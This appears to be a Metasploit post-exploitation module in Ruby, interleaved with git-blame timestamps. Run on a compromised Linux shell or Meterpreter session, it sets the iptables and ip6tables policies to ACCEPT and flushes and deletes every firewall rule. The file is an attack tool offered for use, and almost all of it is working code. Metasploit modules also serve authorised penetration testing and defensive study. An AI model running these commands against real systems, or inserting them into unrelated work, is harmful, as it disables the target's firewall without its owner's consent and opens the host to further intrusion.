2018-07-12 14:16:22 +02:00
|
|
|
##
|
|
|
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
|
##
|
|
|
|
|
|
|
|
|
|
class MetasploitModule < Msf::Post
|
|
|
|
|
include Msf::Post::File
|
|
|
|
|
include Msf::Post::Linux::System
|
|
|
|
|
|
|
|
|
|
def initialize
|
|
|
|
|
super(
|
2023-02-08 13:47:34 +00:00
|
|
|
'Name' => 'IPTABLES rules removal',
|
|
|
|
|
'Description' => %q{
|
2018-07-12 14:16:22 +02:00
|
|
|
This module will be applied on a session connected to a shell. It will remove all IPTABLES rules.
|
|
|
|
|
},
|
2023-02-08 13:47:34 +00:00
|
|
|
'Author' => 'Alberto Rafael Rodriguez Iglesias <albertocysec[at]gmail.com>',
|
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
|
'Platform' => ['linux'],
|
2019-01-24 11:22:19 -06:00
|
|
|
'SessionTypes' => ['shell', 'meterpreter']
|
2018-07-12 14:16:22 +02:00
|
|
|
)
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
def run
|
2023-02-08 13:47:34 +00:00
|
|
|
if command_exists?('iptables')
|
|
|
|
|
print_good('Deleting IPTABLES rules...')
|
|
|
|
|
cmd_exec('iptables -P INPUT ACCEPT')
|
|
|
|
|
cmd_exec('iptables -P FORWARD ACCEPT')
|
|
|
|
|
cmd_exec('iptables -P OUTPUT ACCEPT')
|
|
|
|
|
cmd_exec('iptables -t nat -F')
|
|
|
|
|
cmd_exec('iptables -t mangle -F')
|
|
|
|
|
cmd_exec('iptables -F')
|
|
|
|
|
cmd_exec('iptables -X')
|
|
|
|
|
print_good('iptables rules successfully executed')
|
2018-08-14 18:24:15 +02:00
|
|
|
else
|
2023-02-08 13:47:34 +00:00
|
|
|
print_line('iptables rules could not be executed')
|
2018-08-14 18:24:15 +02:00
|
|
|
end
|
2023-02-08 13:47:34 +00:00
|
|
|
if command_exists?('ip6tables')
|
|
|
|
|
print_good('Deleting IP6TABLES rules...')
|
|
|
|
|
cmd_exec('ip6tables -P INPUT ACCEPT')
|
|
|
|
|
cmd_exec('ip6tables -P FORWARD ACCEPT')
|
|
|
|
|
cmd_exec('ip6tables -P OUTPUT ACCEPT')
|
|
|
|
|
cmd_exec('ip6tables -t nat -F')
|
|
|
|
|
cmd_exec('ip6tables -t mangle -F')
|
|
|
|
|
cmd_exec('ip6tables -F')
|
|
|
|
|
cmd_exec('ip6tables -X')
|
|
|
|
|
print_good('ip6tables rules successfully executed')
|
2018-08-14 18:24:15 +02:00
|
|
|
else
|
2023-02-08 13:47:34 +00:00
|
|
|
print_line('ip6tables rules could not be executed')
|
2018-08-14 18:24:15 +02:00
|
|
|
end
|
2018-07-12 14:16:22 +02:00
|
|
|
end
|
|
|
|
|
end
|